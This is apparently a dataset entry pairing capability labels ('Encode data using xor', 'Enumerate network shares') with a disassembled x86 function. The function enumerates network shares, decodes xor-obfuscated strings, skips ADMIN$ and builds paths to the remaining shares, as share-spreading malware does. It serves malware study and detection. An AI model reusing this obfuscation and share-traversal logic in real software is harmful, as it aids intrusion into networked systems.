Function at 0x4067b6
Capabilities:
Encode data using xor
Enumerate network shares

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
push ebx
xor eax, eax
mov ebx, ecx
push esi
push edi
mov dword [ebp - 0xc], ebx
mov edi, 0x5195cc
mov dword [ebp - 8], eax
mov dword [ebp - 4], eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], eax
push edi
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 4]
push eax
push 0xffffffffffffffff
lea eax, [ebp - 8]
push eax
push 1
push ebx
call dword [sym.imp.NETAPI32.dll_NetShareEnum]
push edi
mov esi, eax
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
test esi, esi
je 0x406813
cmp esi, 0xea
je 0x4067d7
jmp 0x406a45
mov esi, dword [ebp - 8]
xor ebx, ebx
inc ebx
cmp dword [ebp - 4], ebx
jb 0x406a3e
mov eax, dword [esi + 4]
test eax, eax
je 0x40683b
cmp eax, 0x80000000
je 0x40683b
cmp eax, 0x40000000
jne 0x406a2e
mov byte [ebp - 0x4a], 0x43
mov byte [ebp - 0x49], 2
mov byte [ebp - 0x48], 0x46
mov byte [ebp - 0x47], 2
mov byte [ebp - 0x46], 0x4f
mov byte [ebp - 0x45], 2
mov byte [ebp - 0x44], 0x4b
mov byte [ebp - 0x43], 2
mov byte [ebp - 0x42], 0x50
mov byte [ebp - 0x41], 2
mov byte [ebp - 0x40], 0x26
mov byte [ebp - 0x3f], 2
mov byte [ebp - 0x3e], 2
mov byte [ebp - 0x3d], 0
mov al, byte [ebp - 0x4a]
xor eax, eax
sub byte [ebp + eax - 0x4a], 2
inc eax
cmp eax, 0xd
jb 0x406878
lea eax, [ebp - 0x4a]
push eax
push dword [esi]
call dword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
je 0x406a2e
mov ecx, 0x10000
call fcn.00405c2d
mov edi, eax
test edi, edi
je 0x406a2e
push 0x50ab48
push edi
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
mov dword [ebp - 0x3c], 0x34
xor edx, edx
mov byte [ebp - 0x38], 0x68
mov byte [ebp - 0x37], 0x34
mov byte [ebp - 0x36], 0x68
mov byte [ebp - 0x35], 0x34
mov byte [ebp - 0x34], 0x34
mov al, byte [ebp - 0x38]
mov byte [ebp - 0x33], 0
mov al, byte [ebp + edx - 0x38]
mov ecx, dword [ebp - 0x3c]
xor cl, al
mov byte [ebp + edx - 0x38], cl
inc edx
cmp edx, 5
jb 0x4068db
push 2
lea eax, [ebp - 0x38]
mov byte [ebp - 0x33], 0
push eax
push dword [ebp - 0xc]
call dword [sym.imp.SHLWAPI.dll_StrCmpNW]
test eax, eax
je 0x406963
mov dword [ebp - 0x30], 0x6d
mov eax, dword [ebp - 0x30]
xor al, 0x5c
mov byte [ebp - 0x2c], al
mov eax, dword [ebp - 0x30]
inc al
mov byte [ebp - 0x2b], al
mov eax, dword [ebp - 0x30]
add al, 2
xor al, 0x5c
mov byte [ebp - 0x2a], al
mov eax, dword [ebp - 0x30]
add al, 3
mov byte [ebp - 0x29], al
mov eax, dword [ebp - 0x30]
add al, 4
mov byte [ebp - 0x27], 0
mov byte [ebp - 0x28], al
xor edx, edx
mov al, byte [ebp - 0x2c]
mov al, byte [ebp + edx - 0x2c]
mov ecx, dword [ebp - 0x30]
add cl, dl
xor cl, al
mov byte [ebp + edx - 0x2c], cl
inc edx
cmp edx, 5
jb 0x40693f
lea eax, [ebp - 0x2c]
mov byte [ebp - 0x27], 0
push eax
push edi
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push dword [ebp - 0xc]
push edi
call dword [sym.imp.KERNEL32.dll_lstrcatW]
mov dword [ebp - 0x1c], 0x54
mov eax, dword [ebp - 0x1c]
xor al, 0x5c
mov byte [ebp - 0x18], al
mov eax, dword [ebp - 0x1c]
inc al
mov byte [ebp - 0x17], al
mov eax, dword [ebp - 0x1c]
add al, 2
mov byte [ebp - 0x15], 0
mov byte [ebp - 0x16], al
xor edx, edx
mov al, byte [ebp - 0x18]
mov al, byte [ebp + edx - 0x18]
mov ecx, dword [ebp - 0x1c]
add cl, dl
xor cl, al
mov byte [ebp + edx - 0x18], cl
inc edx
cmp edx, 3
jb 0x406995
lea eax, [ebp - 0x18]
mov byte [ebp - 0x15], 0
push eax
push edi
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push dword [esi]
push edi
call dword [sym.imp.KERNEL32.dll_lstrcatW]
mov ecx, dword [0x519824]
mov edx, edi
push 1
push 0
push 4
call fcn.00407183
add esp, 0xc
test eax, eax
je 0x406a27
mov dword [ebp - 0x24], 0x6c
mov eax, dword [ebp - 0x24]
xor al, 0x30
mov byte [ebp - 0x20], al
mov eax, dword [ebp - 0x24]
inc al
mov byte [ebp - 0x1f], al
mov eax, dword [ebp - 0x24]
add al, 2
mov byte [ebp - 0x1d], 0
mov byte [ebp - 0x1e], al
xor edx, edx
mov al, byte [ebp - 0x20]
mov al, byte [ebp + edx - 0x20]
mov ecx, dword [ebp - 0x24]
add cl, dl
xor cl, al
mov byte [ebp + edx - 0x20], cl
inc edx
cmp edx, 3
jb 0x406a04
mov edx, edi
mov byte [ebp - 0x1d], 0
lea ecx, [ebp - 0x20]
call fcn.00411b5f
mov ecx, edi
call fcn.00405cd2
add esi, 0xc
inc ebx
cmp ebx, dword [ebp - 4]
jbe 0x406822
mov esi, dword [ebp - 8]
push esi
call dword [sym.imp.NETAPI32.dll_NetApiBufferFree]
pop edi
pop esi
pop ebx
leave
ret